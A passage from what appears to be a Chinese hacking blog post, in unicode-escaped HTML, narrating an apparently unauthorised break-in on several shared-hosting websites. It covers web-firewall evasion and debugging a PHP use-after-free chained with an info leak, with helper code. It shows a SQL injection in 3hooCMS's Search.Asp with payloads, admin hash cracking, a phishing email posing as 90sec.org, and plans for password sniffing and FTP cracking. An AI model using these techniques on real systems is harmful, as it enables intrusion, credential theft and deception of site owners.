\u5176\u5b9e\u8fd9\u91cc\u4e0a\u4f20\u7684\u65f6\u5019\uff0cweb\u9632\u706b\u5899\u4e5f\u62e6\u4e86\u597d\u51e0\u6b21\uff0c\u51e0\u4e4e\u6740\u4e86\u621195%\u7684\u5c0f\u9a6c\uff0c\u6700\u540e\u53ea\u80fd\u8bf7\u51fa\u72ec\u95e8\u6697\u5668\u624d\u8eb2\u8fc7\u8fd9bt\u7684\u9632\u706b\u5899\u3002\u540e\u6765\u624d\u77e5\u9053\u8be5\u865a\u62df\u4e3b\u673a\u4f7f\u7528\u7684\u7ec4\u5408\u662f\u3010\u661f\u5916+\u62a4\u536b\u795e.\u5165\u4fb5\u9632\u62a4\u4e13\u5bb6\u3011\u3002<\/span><\/p>\n

\u62ff\u5230www.aaa.com\u7684webshell\u540e\uff0c\u81ea\u7136\u662f\u60f3\u8de8\u76ee\u5f55\u5230a.111.com\u3002\u800c\u6700\u65b0\u7684\u661f\u5916+\u62a4\u536b\u795e\u7684\u786e\u5f88\u6709\u6548\uff0c\u5220\u9664\u4e86wscript.shell\u3001shellapplication\u7b49\u6269\u5c55\uff0c\u8fd8\u4e0d\u652f\u6301aspx\uff0c\u6ca1\u6709\u4efb\u4f55\u8fd0\u884c\u547d\u4ee4\u7684\u53ef\u80fd\u3002<\/span><\/p>\n

0<\/span><\/strong>\u00d704 \u8c03\u8bd5php\u6f0f\u6d1e<\/span><\/strong><\/p>\n

\u6211\u7528phpinfo\u770b\u4e86\u4e0bwww.aaa.com\u7684web\u670d\u52a1\u5668\u7684php\u7248\u672c\u662f5.2.9-2\u3002\u7248\u672c\u4e0d\u9ad8\uff0c\u6211\u5370\u8c61\u91ccphp5.2.13\u4ee5\u4e0b\u7684\u7248\u672c\u51fa\u8fc7\u597d\u51e0\u4e2a\u6f0f\u6d1e\uff0c\u5176\u4e2d\u3010PHP hash_update_file() Already Freed Resource Access Vulnerability\u3011\u662f\u6bd4\u8f83\u8457\u540d\u7684\u3002\u4e8e\u662f\u6211\u653e\u4e0b\u8be5\u7ad9\u7684webshell\uff0c\u627e\u5230\u8fd9\u4e2a\u6f0f\u6d1e\u516c\u544a\u548cpoc\uff0c\u51c6\u5907\u8c03\u8bd5\u4e00\u4e0b\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u7528\u5b83\u53bb\u6267\u884c\u547d\u4ee4\uff0c\u8fdb\u800c\u63d0\u5347\u6743\u9650\u3002<\/span><\/p>\n

\u516c\u544a\u5730\u5740\u4e3a\uff1a<\/span><\/p>\n

http:\/\/php-security.org\/2010\/05\/01\/mops-2010-001-php-hash_update_file-already-freed-resource-access-vulnerability\/index.html<\/span><\/p>\n

\u6211\u5728vmware_winxp\u7684apache+php\u73af\u5883\u91cc\uff0c\u7528windbg\u9644\u52a0\u8fdb\u7a0bhttpd.exe,\u7136\u540e\u5728\u6d4f\u89c8\u5668\u6253\u5f00\u8fd9\u4e2a\u6f0f\u6d1e\u7684poc\uff0c\u53d1\u751f\u5f02\u5e38\uff0c\u5982\u56fe8\uff1a<\/span><\/p>\n

\"\"<\/p>\n

\u56fe8<\/span><\/p>\n

\u7531\u56fe8\u53ef\u4ee5\u770b\u5230\u53d1\u751f\u95ee\u9898\u7684\u6a21\u5757\u662fphp5ts.dll,\u53d1\u751f\u95ee\u9898\u7684\u51fd\u6570\u662fphp_hash_register.\u5728\u8fd9\u4e2a\u51fd\u6570\u504f\u79fb0x2bf\u5904\u53d1\u751f\u4e86\u5f02\u5e38\u3002<\/span><\/p>\n

\u663e\u7136php5ts.dll\u662fphp\u7684\u6838\u5fc3\u89e3\u6790\u5668\uff0cphp\u6240\u6709\u7684\u529f\u80fd\u90fd\u5305\u542b\u5728\u5b83\u91cc\u9762\uff0c\u4e0d\u8bba\u4ec0\u4e48\u64cd\u4f5c\u7cfb\u7edf\u8fd0\u884cphp\u90fd\u5c11\u4e0d\u4e86\u8981\u52a0\u8f7d\u5b83\u3002\u4ece\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u8fd9\u4e2a\u6f0f\u6d1e\u5371\u5bb3\u7684\u8303\u56f4\u5f88\u5e7f\uff0c\u662f\u8de8\u5e73\u53f0\u7684\u3002\u81f3\u4e8e\u6f0f\u6d1e\u53d1\u751f\u7684\u539f\u56e0\u5c31\u4e0d\u5728\u8fd9\u91cc\u8c03\u8bd5\u53d9\u8ff0\u4e86\u3002<\/span><\/p>\n

\u73b0\u5728\u770b\u53d1\u751f\u5f02\u5e38\u7684\u4f4d\u7f6e\u662f\uff1a<\/span><\/p>\n

00a74fef ff5204 call dword ptr [edx+4] ds:0023:55555559=????????<\/span><\/p>\n

Eip\u4e3a0x00a74fef\u7684\u5730\u65b9\uff0c\u800cpoc\u7b2c\u4e00\u53e5\u4ee3\u7801\u5c31\u662fdefine(\u201cOFFSET\u201d, pack(\u201cL\u201d,0\u00d755555555));\u628a\u8fd9\u4e2a\u5730\u5740\u88c5\u5165\u4e00\u4e2a\u4e8c\u8fdb\u5236\u4e32\u4e2d\u3002\u518d\u770b\u5f02\u5e38\u53d1\u751f\u65f6\u7684\u5bc4\u5b58\u5668\u73af\u5883\u5982\u56fe8\u4e2d\u7684edx=0\u00d755555555\uff0c\u540e\u6765\u518d\u901a\u8fc7\u8c03\u8bd5\u786e\u5b9a\u5f00\u59cb\u7684\u7b2c\u4e00\u53e5\u4ee3\u7801\u7684\u5730\u5740\u5c31\u662f\u63a7\u5236\u7684edx\u5bc4\u5b58\u5668\u3002\u90a3\u4e48\u53ea\u8981\u80fd\u5728edx+4\u6307\u5411\u7684\u5730\u5740\u88c5\u5165\u7cbe\u5fc3\u6784\u9020\u7684shellcode\uff0c\u5c31\u53ef\u4ee5\u987a\u5229\u6ea2\u51fa\u4e86\u3002<\/span><\/p>\n

\u540e\u6765\u548c2yue\u804a\u5929\u65f6\u544a\u8bc9\u6211\uff0c\u4ed6\u53d1\u73b0\u4e86\u4e00\u79cd\u628a\u53e6\u4e00\u4e2a php\u6f0f\u6d1e\u3010PHP addcslashes() Interruption Information Leak Vulnerability\u3011\u548c\u8fd9\u4e2a\u6f0f\u6d1e\u7ed3\u5408\u8d77\u6765\u5229\u7528\u7684\u65b9\u6cd5\u3002\u540e\u6765\u6211\u4e5f\u8bc1\u5b9e\u4e86\u8fd9\u4e2a\u7ed3\u679c\u3002\u4ee5\u4e0b\u662f2yue\u7684\u8c03\u8bd5\u7ed3\u679c\uff0c\u6211\u5728\u8fd9\u91cc\u548c\u5927\u5bb6\u5206\u4eab\uff0c\u5e0c\u671b\u4ed6\u4e0d\u4ecb\u610f\u3002<\/span><\/p>\n

\u201cPHP addcslashes()\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e\uff0c\u4ed6\u53ef\u4ee5\u8bfb\u51fa\u5185\u5b58\u7a7a\u95f4\u4e2d\u7684\u4fe1\u606f\uff0c\u5728\u8bfb\u51fa\u7684\u4fe1\u606f\u4e2d \uff0c\u4ece\u504f\u79fb0x10\u5f00\u59cb\uff0c\u4fdd\u5b58\u4e86\u4e00\u4e2a\u6307\u9488\uff0c\u800c\u5728\u8be5\u6307\u9488\u504f\u79fb0x20\u5f00\u59cb\u4fdd\u5b58\u6211\u4eec\u63a7\u5236\u7684\u53d8\u91cf\u7684\u503c\u3002\u201d<\/span><\/p>\n

\u8fd9\u6837\u7684\u8bdd\u6211\u4eec\u5c31\u53ef\u4ee5\u7528PHP addcslashes()\u6f0f\u6d1e\u627e\u5230\u653e\u7f6eshellcode\u7684\u5730\u5740\uff0c\u518d\u627e\u5230\u67d0\u4e2a\u53d8\u91cfA\u7684\u5730\u5740\uff0c\u5728\u53d8\u91cfA\u7684\u5730\u65b9\u5b58\u653eshellcode\u7684\u5730\u5740\uff0c\u90a3\u4e48call [edx+4]\u5c31\u53ef\u4ee5\u6267\u884cshellcode\u4e86\u3002\u628a\u90a3\u4e24\u4e2apoc\u7ed3\u5408\u8d77\u6765\uff0c\u6700\u540e\u90a3\u4e2ahexdump()\u51fd\u6570\u6539\u6210\u6211\u4eec\u81ea\u5df1\u7684\u627e\u5230\u504f\u79fb0x10\u6307\u5411\u76840\u00d720\u7684\u5730\u5740\u7684\u51fd\u6570\uff0c\u597d\u50cf\u5f88\u7ed5\u53e3\u3002<\/span><\/p>\n

\u5176\u5b9e\u662f\u5f88\u7b80\u5355\u7684\u4e00\u4e2a\u529f\u80fd\uff0c\u76f4\u63a5\u9644\u4e0a2yue\u5199\u7684\u8fd9\u4e2a\u51fd\u6570\u3002<\/span><\/p>\n

function hexdump($x)<\/span><\/code><\/p>\n

<\/p>\n

{<\/span><\/p>\n

$ret_long = ord($x[0x13]) * 0x1000000 + ord($x[0x12]) * 0x10000 + ord($x[0x11]) * 0x100 + ord($x[0x10]);<\/span><\/p>\n

$ret_long = $ret_long + 0x20;<\/span><\/p>\n

return $ret_long;<\/span><\/p>\n

<\/code> <\/p>\n

}<\/span><\/code><\/p>\n

\u53ea\u662f\u91cc\u9762\u7684\u7ec6\u8282\u8fd8\u9700\u8981\u8c03\u4e00\u8c03\uff1a\u4f8b\u5982\u8981\u751f\u6210\u7eaf\u5b57\u6bcd\u6570\u5b57\u7684shellcode\uff0cedx+4\u90a3\u4e2a\u5730\u65b9\u8c03\u4e00\u4e0b\u7b49\u7b49\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u7528 metasploit\u751f\u6210\u6211\u4eec\u60f3\u8981\u7684\u7eaf\u5b57\u6bcd\u6570\u5b57\u7684shellcode\u4e86\u3002<\/span>
\n\u6211\u5728\u672c\u673a\u6d4b\u8bd5\u6210\u529f\uff0c\u5982\u56fe9\uff0c\u5f53\u7136\u8fd8\u662f\u8981\u611f\u8c222yue\u3002<\/span>
\n\"\"
\n\u56fe9<\/span><\/p>\n

\u5728\u6f0f\u6d1e\u8c03\u8bd5\u6210\u529f\u540e\u7684\u7b2c2\u5929\uff0c\u6211\u51c6\u5907\u7528\u8fd9\u4e2aexp\u63d0\u6743\u65f6\uff0c\u7528\u83dc\u5200\u8fde\u4e0a\u6211\u7684webshell\uff0c\u8c01\u77e5\u9053\u5374\u8fd4\u56de404.<\/span>
\n\u6211\u628awww.aaa.com \u8f93\u5165\u6d4f\u89c8\u5668\u540e\uff0c\u8fd4\u56de\u5982\u4e0b\u4fe1\u606f\uff0c\u5982\u56fe10<\/span>
\n\"\"
\n\u56fe10<\/span>
\n\u4ece\u56fe10\u770b\u5230\uff0c\u90a3\u4e2a\u6628\u5929\u521a\u62ff\u4e0b\u7684\u7f51\u7ad9\uff0c\u4eca\u5929\u57df\u540d\u5c31\u8fc7\u671f\uff0c\u6211\u60b2\u50ac\u7684\u4eba\u751f\u4ecd\u5728\u5ef6\u7eed\uff0c\u6211\u80fd\u8bf4\u4ec0\u4e48\u5462\u3002<\/span><\/p>\n

0<\/span><\/strong>\u00d705 \u6740\u4e2a\u56de\u9a6c\u67aa<\/span><\/strong><\/p>\n

\u6211\u53ea\u80fd\u8001\u8001\u5b9e\u5b9e\u518d\u6740\u56de\u6765\uff0c\u4ed4\u7ec6\u5206\u6790\u865a\u62df\u4e3b\u673a\u4e0a\u5269\u4e0b\u7684\u90a3\u51e0\u4e2a\u7f51\u7ad9\u4e86\u3002\u90a3\u4e2a\u60b2\u50ac\u7684\u7ad9\u88ab\u5173\u95ed\u4e86\u4e4b\u540e\u5269\u4e0b\u7684\u4e0d\u662fdiscuz! X2 \u5c31\u662f\u9759\u6001html\u7684\u7ad9\uff0c\u518d\u4e0d\u5c31\u662f\u5f88\u77e5\u540d\u7684\u8f83\u65b0\u7248\u672c\u7684\u65e0\u5df2\u77e5\u6f0f\u6d1e\u7684cms\u4e86\uff0c\u5c31\u53ea\u6709\u4e00\u4e2aasp\u7684\u7ad9\uff0c\u5730\u5740\u4e3a\uff1ahttp:\/\/www.bbb.com\u3002\u4e5f\u8bb8\u8fd9\u4e2a\u7ad9\u662f\u552f\u4e00\u7684\u7a81\u7834\u53e3\u4e86\uff0c\u7528\u540e\u53f0\u626b\u63cf\u5668\u5f88\u5bb9\u6613\u626b\u5230\u540e\u53f0\u662fhttp:\/\/www.bbb.com\/manage\/ \u5982\u56fe11<\/span><\/p>\n

\"\"
\n\u56fe11<\/span>
\n\u4ece\u56fe11\u5f88\u6e05\u6670\u7684\u5f97\u5230\u8fd9\u4e2a\u7f51\u7ad9\u7a0b\u5e8f\u662f3hooCMS V3 SP2\uff0c\u6211\u641c\u4e86\u4e00\u4e0b\uff0c\u6ca1\u6709\u627e\u5230\u8fd9\u4e2a\u7248\u672c\u7684\u6f0f\u6d1e\uff0c\u8f83\u4f4e\u7684\u7248\u672c\u5012\u662f\u6709\u4e00\u4e2axss\u6f0f\u6d1e\uff0c\u5e76\u4e14\u4e5f\u6ca1\u6709\u8fd9\u4e2a\u7248\u672cCMS\u7684\u516c\u5f00\u4e0b\u8f7d\uff0c\u6211\u6000\u7591\u76ee\u6807\u662f\u5546\u4e1a\u7248\u3002\u6211\u53ea\u627e\u52303hooCMS_V2_SP2\u7684\u4e0b\u8f7d\u3002<\/span>
\n\u4e0b\u8f7d\u5b8c\u540e\u6211\u5728vmware_win2003\u4e0b\u642d\u4e86\u73af\u5883\uff0c\u5f00\u59cb\u5206\u6790\u5176\u6e90\u4ee3\u7801\u3002<\/span>
\n\u7ecf\u8fc7\u4e00\u6bb5\u65f6\u95f4\u7684\u5206\u6790\uff0c\u6211\u53d1\u73b0Search.Asp\u8fd9\u4e2a\u6587\u4ef6\u5b58\u5728sql\u6ce8\u5165\u6f0f\u6d1e\u3002<\/span>
\n\u4ee3\u7801\u7b2c9\u884c\u523012\u884c<\/span><\/p>\n

Dim TplFileUrl,TplStr,Sql,Rs,rCid,Cid<\/span>
\nSoKey=trim(request(\"sokey\"))<\/span>
\npage=request.QueryString(\"page\")<\/span><\/code><\/p>\n

\u7b2c10\u884cSoKey\u53d8\u91cf\u6ca1\u6709\u7ecf\u8fc7\u4efb\u4f55\u8fc7\u6ee4\u4f20\u4e86\u8fdb\u6765\u3002<\/span>
\n\u7b2c41\u523047\u884c<\/span><\/p>\n

if SoKey=\"\" then<\/span>
\ncsql=\"\"<\/span>
\nfilename=\"Search.Asp\"<\/span>
\nelse<\/span>
\nfilename=\"Search.Asp?sokey=\"&SoKey<\/span>
\nend if<\/span>
\nsql=\"select * from [info] where \"&LanguageSet&\"Name like'%\"&SoKey&\"%' order by id desc;\"<\/span><\/code><\/p>\n

SoKey\u88ab\u5f53\u505a\u641c\u7d22\u578b\u53d8\u91cf\u4f20\u5165sql\u8bed\u53e5\u4e2d\u3002<\/span>
\n\u56e0\u6b64\u8fd9\u91cc\u5b58\u5728\u662f\u4e00\u4e2a\u641c\u7d22\u578b\u7684\u6ce8\u5165\u6f0f\u6d1e\u3002<\/span>
\n\u7531\u4e8e\u662f\u5df2\u77e5\u7684cms\uff0c\u5176\u8868\u540d\u548c\u5b57\u6bb5\u540d\u90fd\u4e0d\u7528\u731c\u4e86\uff1a<\/span>
\n\u7ba1\u7406\u5458\u8868\u540d\uff1aScmsAdmin<\/span>
\n\u7528\u6237\u540d\u5b57\u6bb5\uff1ausername \u5bc6\u7801\u5b57\u6bb5\uff1apassword .<\/span>
\n\u9009\u62e9\u597d\u5173\u952e\u5b57\u76f4\u63a5\u5728nbsi\u5de5\u5177\u91cc\u8dd1\u5427\u3002<\/span>
\n\u5f88\u9057\u61be\u7684\u662f\u6ca1\u6709\u8dd1\u51fa\u4efb\u4f55\u7ed3\u679c\uff0c\u4e8e\u662f\u6211\u5728\u76ee\u6807\u7f51\u7ad9\u624b\u5de5\u5728\u641c\u7d22\u8f93\u5165\u6846\u91cc\u6d4b\u8bd5\u3002<\/span>
\n\u5f53\u8f93\u516533%\u2019 and 1=1 and \u2018%\u2019=’\u65f6\u67e5\u8be2\u51fa\u4e86\u4e00\u4e9b\u7ed3\u679c\u3002<\/span>
\n\u800c\u8f93\u516533%\u2019 and 1=2 and \u2018%\u2019=’\u65f6\u53c8\u6ca1\u6709\u4efb\u4f55\u7ed3\u679c\u3002\u5b8c\u5168\u6ca1\u6709\u95ee\u9898\u554a\uff0csql\u8bed\u53e5\u80af\u5b9a\u6267\u884c\u4e86\uff0c\u6ce8\u5165\u767e\u5206\u4e4b\u767e\u5b58\u5728\uff0c\u4f46\u4e3a\u4ec0\u4e48\u5c31\u662f\u8dd1\u4e0d\u51fa\u6765\u5462\u3002\u6211\u7a81\u7136\u60f3\u5230\uff0c\u4e5f\u8bb8\u65b0\u7248\u672c\u7b2c10\u884c\u4ee3\u7801\u5e94\u8be5\u662f\u8fd9\u4e48\u5199\u7684\u5427<\/span>
\nSoKey=trim(request.form(\u201csokey\u201d))<\/span>
\n\u8fd9\u662fpost\u63d0\u4ea4\u65b9\u5f0f\u54e6\uff0c\u6211\u9a6c\u4e0a\u53d8\u6362\u6210\u4e86post\u7684\u626b\u63cf\u65b9\u5f0f\uff0c\u7ec8\u4e8e\u5f97\u51fa\u4e86\u7ed3\u679c\u5982\u56fe12<\/span>
\n\"\"
\n\u56fe12<\/span>
\n\u5f97\u5230\u52a0\u5bc6\u7684\u5bc6\u7801\u3010fead0df1fe60103eaba454dd0a7e0842\u3011\u540e\u62ff\u5230cmd5\u89e3\u5bc6\uff0c\u4e8e\u662f\u6211\u60b2\u50ac\u7684\u8fd0\u6c14\u518d\u6b21\u964d\u4e34\uff0c\u638f\u94b1\u90fd\u65e0\u6cd5\u89e3\u5bc6\u3002\u770b\u6765\u8fd9\u5e74\u5934\u4e0d\u8bbe\u7f6e\u4e2a10\u4f4d\u4ee5\u4e0a\u5b57\u6bcd+\u6570\u5b57+\u7279\u6b8a\u5b57\u7b26\u7684\u5bc6\u7801\u90fd\u4e0d\u597d\u610f\u601d\u548c\u522b\u4eba\u6253\u62db\u547c\u554a\u3002<\/span><\/p>\n

0<\/span><\/strong>\u00d706 \u4e0d\u6210\u529f\u7684\u793e\u5de5<\/span><\/strong><\/p>\n

Md5\u5bc6\u7801\u7834\u4e0d\u51fa\u6765\u5176\u5b9e\u662f\u5e38\u6709\u7684\u4e8b\uff0c\u4e0d\u8fc7\u4e5f\u8bf4\u660e\u56fd\u5185\u4e0a\u7f51\u7528\u6237\u7684\u5b89\u5168\u610f\u8bc6\u4e5f\u5728\u4e00\u6b65\u6b65\u7684\u63d0\u9ad8\u3002\u6211\u8003\u8651\u5230\u65e2\u7136\u4ed6\u7f51\u7ad9\u6709\u8fd9\u4e2a\u6ce8\u5165\u6f0f\u6d1e\uff0c\u90a3\u4e48\u7ba1\u7406\u5458\u5373\u4fbf\u6539\u4e86\u5bc6\u7801\uff0c\u6211\u4ecd\u7136\u80fd\u901a\u8fc7SQL\u6ce8\u5165\u6f0f\u6d1e\u5f97\u5230hash\uff0c\u5982\u679c\u4ed6\u80fd\u6539\u4e00\u4e2acmd5\u80fd\u7834\u51fa\u6765\u7684\u7b80\u5355\u7684\u5bc6\u7801\u4e0d\u5c31\u6709\u5e0c\u671b\u4e86\u5417\uff1f\u4e8e\u662f\u6211\u501f\u75282011\u5e74\u5e95\u7684\u7f51\u7edc\u5b89\u5168\u5bc6\u7801\u6cc4\u9732\u95e8\u4e8b\u4ef6\uff0c\u7ed9\u7ba1\u7406\u5458\u53d1\u4e86\u4e00\u5c01email\u3002\u5982\u56fe13\uff1a<\/span>
\n\"\"
\n\u56fe13<\/span>
\n\u5f88\u4e0d\u597d\u610f\u601d\uff0c\u8fd9\u91cc\u6211\u501f\u7528\u4e8690sec.org\u7684\u540d\u4e49\uff0c\u56e0\u4e3a\u6211\u89c9\u5f9790sec\u4e2d\u6709\u5f88\u591a\u5c0f\u5b69\u7684\u6280\u672f\u6c34\u5e73\u8fd8\u662f\u86ee\u9ad8\u7684\uff0c\u5e76\u4e14\u559c\u6b22\u514d\u8d39\u7ed9\u67d0\u4e9b\u7f51\u7ad9\u63d0\u4ea4\u6f0f\u6d1e\u3002<\/span>
\nEmail\u53d1\u51fa\u53bb2\u5929\u540e\uff0c\u518d\u6b21\u6ce8\u5165\u5f97\u51fa\u5bc6\u7801\u7684hash\uff0c\u53d1\u73b0\u4ed6\u6ca1\u6709\u4fee\u6539\u3002\u6211\u4e5f\u611f\u89c9\u6b64\u8def\u4e0d\u901a\uff0c\u5373\u4fbf\u4ed6\u4fee\u6539\u4e86\uff0c\u5f88\u6709\u53ef\u80fd\u5bc6\u7801\u8fd8\u662f\u5f88bt\u590d\u6742\u7684\u7834\u4e0d\u51fa\u6765\u554a\u3002<\/span>
\n\u540e\u6765\u53c8\u60f3\u5230\u53bb\u793e\u5de5\u4e3b\u7f51\u7ad9www.111.com\u7684\u7ba1\u7406\u5458\uff0c\u8be2\u95ee\u4ed6\u4e3a\u4ec0\u4e48\u4e3b\u7f51\u7ad9\u4e0d\u80fd\u6ce8\u518c\u666e\u901a\u7528\u6237\uff0c\u4e5f\u4e0d\u80fd\u767b\u5f55\uff0c\u662f\u4e0d\u662f\u7f51\u7ad9\u7a0b\u5e8f\u574f\u6389\u4e86\u3002\u60f3\u501f\u4ed6\u4eec\u4fee\u590d\u666e\u901a\u7528\u6237\u6ce8\u518c\u529f\u80fd\u540e\uff0c\u4e0a\u4f20\u4e00\u4e2a\u542b\u6709php\u6728\u9a6c\u7684\u56fe\u7247,\u518d\u5229\u7528iis7.5\u7684\u89e3\u6790\u6f0f\u6d1e\u5f97\u5230shell\u3002\u4f46\u5f97\u5230\u7684\u7b54\u590d\u662f\uff0c\u4ed6\u4eec\u5c31\u662f\u4e13\u95e8\u7981\u6b62\u666e\u901a\u7528\u6237\u6ce8\u518c\u548c\u767b\u9646\u7684\u3002<\/span>
\n\u7f62\u4e86\uff0c\u6211\u793e\u5de5\u771f\u7684\u4e0d\u64c5\u957f\uff0c\u4e0d\u592a\u4f1a\u4e0e\u4eba\u4ea4\u4e92\uff0c\u8fd8\u662f\u9760\u81ea\u5df1\u5427.<\/span><\/p>\n

0<\/span><\/strong>\u00d707 V5\u7684\u8fc2\u56de\u6218\u672f<\/span><\/strong><\/p>\n

\u8003\u8651\u5230\u597d\u4e0d\u5bb9\u6613\u62ff\u5230http:\/\/www.bbb.com\u7684hash\uff0c\u4e0d\u80fd\u8fd9\u4e48\u8f7b\u6613\u653e\u8fc7\u8fd9\u4e2a\u7ad9\u554a\u3002\u4e8e\u662f\u60f3\u5230\u770b\u8fd9\u4e2a\u7ba1\u7406\u5458\u6709\u6ca1\u6709\u5176\u4ed6\u7684\u7ad9\uff0c\u901a\u8fc7\u62ff\u4e0b\u4ed6\u81ea\u5df1\u7684\u53e6\u5916\u7684\u7ad9\u7136\u540e\u518d\u5f97\u5230\u5176\u5bc6\u7801\u4e5f\u662f\u4e00\u4e2a\u4e0d\u9519\u7684\u9009\u62e9\u3002\u8fd9\u5c31\u662f\u6240\u8c13\u7684\u8fc2\u56de\u6218\u672f\u5427\uff0c\u6211\u4e0d\u4ece\u6b63\u9762\u8fdb\u653b\u4e86\uff0c\u6211\u4ece\u4f60\u6709\u5f31\u70b9\u7684\u5730\u65b9\u8fdb\u653b\u8fd8\u4e0d\u884c\u561b\uff1f<\/span><\/p>\n

\u4e8e\u662f\u6211\u6839\u636e\u4ed6\u7f51\u7ad9\u63d0\u4f9b\u7684\u4fe1\u606f\uff0c\u518d\u52a0\u4e0awhois\u67e5\u8be2\u3001\u57df\u540d\u67e5\u8be2\u3001\u8c37\u6b4c\u3001\u767e\u5ea6\uff0c\u7ec8\u4e8e\u53d1\u73b0\u8fd9\u4e2a\u7ba1\u7406\u5458\u5728\u5176\u4ed6\u865a\u62df\u673a\u8fd8\u5b58\u5728\u4e09\u4e2a\u7c7b\u4f3c\u7684\u7ad9\u5206\u522b\u662f:<\/span><\/p>\n

http:\/\/www.bbb1.com<\/span><\/p>\n

http:\/\/www.bbb2.com<\/span><\/p>\n

http:\/\/www.bbb3.com<\/span><\/p>\n

\u865a\u62df\u4e3b\u673a\u64cd\u4f5c\u7cfb\u7edf\u540c\u6837\u662fwindows2003.\u4ee4\u4eba\u5174\u594b\u7684\u662f\u8fd9\u4e09\u4e2a\u7ad9\u4e0ewww.bbb.com\u4f7f\u7528\u7684\u662f\u540c\u4e00\u5957cms\uff0c\u90fd\u662f3hooCMS V3 SP2.<\/span>
\n\u5229\u7528\u6211\u524d\u9762\u53d1\u73b0\u7684sql\u6ce8\u5165\u6f0f\u6d1e\u5f88\u5bb9\u6613\u5f97\u5230bbb1\u3001bbb2\u4e24\u4e2a\u7ad9\u7684\u540e\u53f0\u7ba1\u7406\u5458\u7684\u5bc6\u7801hash\u90fd\u4e3a\u3010fead0df1fe60103eaba454dd0a7e0842\u3011\uff0c\u548cbbb.com\u662f\u4e00\u6837\u65e0\u6cd5\u7834\u89e3\u7684\u3002<\/span>
\n\u7b2c\u4e94\u6b21\u60b2\u50ac\u7684\u8fd0\u6c14\u4ee4\u6211\u6682\u65f6\u653e\u5f03\u4e86\u4e00\u6bb5\u65f6\u95f4\u3002<\/span>
\n\u53c8\u8fc7\u4e86\u4e00\u5929\uff0c\u6211\u6000\u7740\u767e\u5206\u4e4b\u4e00\u7684\u5e0c\u671b\u628awww.bbb3.com\u4e5f\u626b\u4e86\u4e00\u904d\uff0c\u4f46\u60ca\u5947\u7684\u662f\u5bc6\u7801hash\u548c\u5176\u4ed6\u4e09\u4e2a\u90fd\u4e0d\u4e00\u6837\uff0c\u7acb\u523b\u62ff\u5230cmd5\u53bb\u7834\u89e3\uff0c\u4f46\u9700\u8981\u82b1\u4e00\u6bdb\u94b1\u624d\u80fd\u7834\u89e3\u3002\u867d\u7136\u56fd\u5185\u4f01\u4e1a\u4e0d\u91cd\u89c6\u5b89\u5168\u4eba\u624d\uff0c\u628a\u641e\u7f51\u7edc\u5b89\u5168\u7684\u85aa\u6c34\u538b\u7684\u5f88\u4f4e\uff0c\u4f46\u4e00\u6bdb\u94b1\u6211\u8fd8\u662f\u4ed8\u7684\u8d77\u7684\u3002\u5982\u56fe14\uff1a<\/span>
\n\"\"
\n\u56fe14<\/span>
\n\u5c31\u8fd9\u6837\u6211\u62ff\u5230\u4e86www.bbb3.com\u7ba1\u7406\u5458\u7684\u5bc6\u7801\u3002\u8fd9\u4e0b\u6211\u611f\u5230\u5f62\u5f0f\u4e00\u7247\u5927\u597d\uff0c\u601d\u8def\u662f\u8fd9\u6837\uff1a<\/span><\/p>\n

    \n
  1. \u901a\u8fc7\u8fdb\u5165bbb3.com\u7684\u540e\u53f0\uff0c\u5f97\u5230\u4e00\u4e2awebshell\u3002<\/span><\/li>\n
  2. \u518d\u4ecewebshell\u91cc\u901a\u8fc7\u63d0\u6743\u8de8\u76ee\u5f55\u5230bbb2.com\u3002<\/span><\/li>\n
  3. \u6539\u5199bbb2.com\u7684\u540e\u53f0\u767b\u9646\u540e\u4ee3\u7801\uff0c\u55c5\u63a2\u5176\u660e\u6587\u5bc6\u7801\u3002<\/span><\/li>\n
  4. \u540c\u6b65\u8fdb\u884cftp\u5bc6\u7801\u7684\u7834\u89e3\uff0c\u987a\u4fbf\u53bb\u5c1d\u8bd5bbb.com\u7684ftp\u3002<\/span><\/li>\n<\/ol>\n

    \u81f3\u6b64\u6211\u611f\u89c9\u8fd9\u4e2a\u8fc2\u56de\u7684\u6218\u672f\u8fd8\u7b97\u5a01\u6b66\u5427\u3002<\/span><\/p>\n

    0<\/span><\/strong>\u00d708 \u4ece\u518d\u8bfbcms\u6e90\u4ee3\u7801\u5230\u540e\u53f0getshell<\/span><\/strong><\/p>\n

    \u8fdb\u5165www.bbb3.com\u540e\u53f0\u540e\uff0c\u5c1d\u8bd5\u4e86\u4e0a\u4f20\u7684\u5730\u65b9\uff0c\u53c8\u770b\u4e86\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u6ca1\u4ec0\u4e48\u6f0f\u6d1e\uff0c\u4ed6\u4e25\u683c\u68c0\u6d4b\u4e86\u540e\u7f00\u5e76\u4ee5\u65f6\u95f4\u683c\u5f0f\u5f3a\u5236\u6539\u4e86\u4e0a\u4f20\u540e\u7684\u6587\u4ef6\u540d\u3002\u5e94\u8be5\u662f\u8f83\u6210\u719f\u7684\u4e0a\u4f20\u4ee3\u7801\u3002\u800c\u7f51\u7ad9\u8bbe\u7f6e\u90a3\u5757\u662f\u5199\u5165\u6570\u636e\u5e93\u7684\u3002\u552f\u4e00\u53ef\u80fd\u51fa\u95ee\u9898\u7684\u5730\u65b9\u4e5f\u5c31\u662f\u6570\u636e\u5e93\u5907\u4efd\u8fd9\u91cc\u4e86\u3002\u5982\u56fe15\uff1a<\/span><\/p>\n

    \"\"
    \n\u56fe15<\/span>
    \n\u4ece\u56fe15\u5f97\u77e5\u6570\u636e\u5e93\u7684\u8def\u5f84\u548c\u540e\u7f00\uff0c\u4e0d\u8fc7\u770b\u7740\u8bf1\u4eba\u7684asa\u540e\u7f00\uff0c\u5374\u505a\u597d\u4e86\u9632\u4e0b\u8f7d\u5904\u7406\uff0c\u6211\u5229\u7528asp\u5c0f\u9a6c\u4ee3\u7801\u5165\u5e93\u7684\u65b9\u5f0f\u6765\u6d4b\u8bd5\uff0c\u53d1\u73b0#Data23%base#.asa\u662f\u65e0\u6cd5\u6267\u884casp\u7684\u3002<\/span>
    \n\u53ea\u5269\u4e0b\u5907\u4efd\u8fd9\u91cc\u5bb9\u6613\u51fa\u95ee\u9898\u4e86\u3002<\/span>
